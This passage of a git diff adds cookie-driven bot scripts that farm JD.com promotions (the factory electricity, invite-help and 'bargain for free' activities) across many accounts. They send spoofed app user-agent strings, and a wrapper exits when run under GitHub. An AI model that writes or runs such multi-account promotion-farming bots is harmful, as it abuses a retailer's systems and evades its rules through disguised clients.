"X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_jdfactory_help.js b/jd_jdfactory_help.js new file mode 100644 index 0000000..39ad7ee --- /dev/null +++ b/jd_jdfactory_help.js @@ -0,0 +1,294 @@ +/* +东东工厂,不是京喜工厂 +活动入口:京东APP首页-数码电器-东东工厂 +免费产生的电量(10秒1个电量,500个电量满,5000秒到上限不生产,算起来是84分钟达到上限) +故建议1小时运行一次 +开会员任务和去京东首页点击“数码电器任务目前未做 +不会每次运行脚本都投入电力 +只有当心仪的商品存在,并且收集起来的电量满足当前商品所需电力,才投入 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#东东工厂 +50 4,17 * * * https://raw.githubusercontent.com/KingRan/JDJB/main/jd_jdfactory_help_help.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true + +================Loon============== +[Script] +cron "50 4,17 * * *" script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_jdfactory_help.js,tag=东东工厂 + +===============Surge================= +东东工厂 = type=cron,cronexp="50 4,17 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_jdfactory_help.js + +============小火箭========= +东东工厂 = type=cron,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_jdfactory_help.js, cronexpr="50 4,17 * * *", timeout=3600, enable=true + */ +const $ = new Env('东东工厂内部互助'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (process.env.JDFACTORY_FORBID_ACCOUNT) process.env.JDFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let wantProduct = ``;//心仪商品名称 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = []; +let lnrun = 0; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + //await shareCodesFormat(); + await jdFactory() + await $.wait(1500); + } + } + console.log(`\n【开始账号内互助】\n`); + for (let i = 0; i < cookiesArr.length; i++) { + lnrun++; + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n【京东账号${$.index}(${$.UserName})开始助力好友】\n`) + console.log(`格式化后的助力码::${JSON.stringify(inviteCodes)}\n`); + for (let code of inviteCodes) { + if (!code) continue + const helpRes = await jdfactory_collectScore(code); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } + } + if (lnrun == 5) { + console.log(`\n【访问接口次数达到5次,休息一分钟.....】\n`); + await $.wait(60 * 1000); + lnrun = 0; + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFactory() { + try { + + await jdfactory_getTaskDetail(); + + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`${message}`); + } + if (new Date().getHours() === 12) { + $.msg($.name, '', `${message}`); + } + resolve() + }) +} +function jdfactory_collectScore(taskToken) { + return new Promise(async resolve => { + await $.wait(1000); + $.post(taskPostUrl("jdfactory_collectScore", { taskToken }, "jdfactory_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + console.log(`领取做完任务的奖励:${JSON.stringify(data.data.result)}`); + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +//获取任务列表 +function jdfactory_getTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_getTaskDetail", {}, "jdfactory_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.taskVos.map(item => { + if (item.taskType === 14) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${item.assistTaskDetailVo.taskToken}\n`) + inviteCodes.push(item.assistTaskDetailVo.taskToken) + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + + console.log(`共${cookiesArr.length}个京东账号\n`); + + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + //console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000, + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_joyjd_open.js b/jd_joyjd_open.js index 555c374..82ae582 100644 --- a/jd_joyjd_open.js +++ b/jd_joyjd_open.js @@ -1,16 +1,29 @@ -if (!["card","car"].includes(process.env.FS_LEVEL)) { - console.log("请设置通用加购/开卡环境变量FS_LEVEL为\"car\"(或\"card\"开卡+加购)来运行加购脚本") - return -} /* -#jd_joyjd_open通用ID任务,多个活动用@连接,任务连接https://jdjoy.jd.com/module/task/v2/doTask +JoyJd任务脚本 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +jd_joyjd_open通用ID任务,多个活动用@连接,任务连接https://jdjoy.jd.com/module/task/v2/doTask export comm_activityIDList="af2b3d56e22d43afa0c50622c45ca2a3" export comm_endTimeList="1639756800000" export comm_tasknameList="京东工业品抽奖" 即时任务,无需cron,短期或者长期请参考活动规则设置cron +============Quantumultx=============== +[task_local] +#JoyJd任务脚本 +5 2,18 * * * https://raw.githubusercontent.com/KingRan/JDJB/main/jd_joyjd_open.js, tag=JoyJd任务脚本, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "5 2,18 * * *" script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_joyjd_open.js,tag=JoyJd任务脚本 + +===============Surge================= +JoyJd任务脚本 = type=cron,cronexp="5 2,18 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_joyjd_open.js + +============小火箭========= +JoyJd任务脚本 = type=cron,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_joyjd_open.js, cronexpr="5 2,18 * * *", timeout=3600, enable=true */ -const $ = new Env('jd_joyjd_open通用ID任务'); +const $ = new Env('JoyJd任务脚本'); const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; const notify = $.isNode() ? require('./sendNotify') : ''; let cookiesArr = []; @@ -43,10 +56,7 @@ if ($.isNode()) { } if (!activityIDList) { $.log(`没有通用ID任务,尝试获取远程`); - let data = await getData("https://raw.githubusercontent.com/Ca11back/scf-experiment/master/json/joyjd_open.json") - if (!data) { - data = await getData("https://raw.fastgit.org/Ca11back/scf-experiment/master/json/joyjd_open.json") - } + let data = await getData("https://cdn.jsdelivr.net/gh/KingRan/shareCodes@master/joyjd_open.json") if (data.activityIDList && data.activityIDList.length) { $.log(`获取到远程且有数据`); activityIDList = data.activityIDList.join('@') @@ -66,7 +76,7 @@ if ($.isNode()) { $.oldcookie = cookiesArr[i]; $.isLogin = true; $.nickName = ''; - await TotalBean(); + //await TotalBean(); $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); if (!$.isLogin) { diff --git a/jd_kanjia.js b/jd_kanjia.js new file mode 100644 index 0000000..4902a22 --- /dev/null +++ b/jd_kanjia.js @@ -0,0 +1,308 @@ +/* +#砍价免费拿 +#自定义邀请码环境变量 +export actId="" ##你要参加砍价的商品ID +export packetId="" ##你要参加砍价的邀请码 +活动地址:https://mfn.jd.com/ 京东极速版 +[task_local] +#砍价免费拿 + 0 0 * * * jd_kanjia.js, tag=砍价免费拿, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ + + +const $ = new Env('砍价免费拿'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let actId = ''; //你要参加砍价的商品ID +let packetId = '';//你要参加砍价的邀请码 +//c50d6379ad3b4782bfc05940e358ace3 +//ac4a4b0b300e4fc6a2fdb88412f51e94-amRfTFBtdnNBVGdyQ0t1 +if (process.env.actId) { + actId = process.env.actId; +} + +if (process.env.packetId) { + packetId = process.env.packetId; +} +if ($.isNode()) { + console.log('export actId="" ##你要参加砍价的商品ID') + console.log('export packetId="" ##你要参加砍价的邀请码') + console.log('活动地址:https://mfn.jd.com/ 京东极速版') + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await list() + + await $.wait(10000) + + await kanjia() + + + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function list() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com`, + + body: `functionId=HomeZeroBuy&body={"pageNum":1,"channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, +headers: { +"Origin": "https://mfn.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + if($.index === 1){ + if(data.code == 0){ +console.log("商品:"+data.data[0].goodsName+"\n商品ID:"+data.data[0].actId) +await listyqm(data.data[0].actId) +console.log("\n商品:"+data.data[1].goodsName+"\n商品ID:"+data.data[1].actId) +await listyqm(data.data[1].actId) +console.log("\n商品:"+data.data[2].goodsName+"\n商品ID:"+data.data[2].actId) +await listyqm(data.data[2].actId) +console.log("\n商品:"+data.data[3].goodsName+"\n商品ID:"+data.data[3].actId) +await listyqm(data.data[3].actId) +console.log("\n商品:"+data.data[4].goodsName+"\n商品ID:"+data.data[4].actId) +await listyqm(data.data[4].actId) + + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function listyqm(actIda) { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com`, + + body: `functionId=initiateBargain&body={"actId":"${actIda}","headPortrait":"","nick":"","channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, +headers: { +"Origin": "https://mfn.jd.com", +"Host": "api.m.jd.com", + "User-Agent": 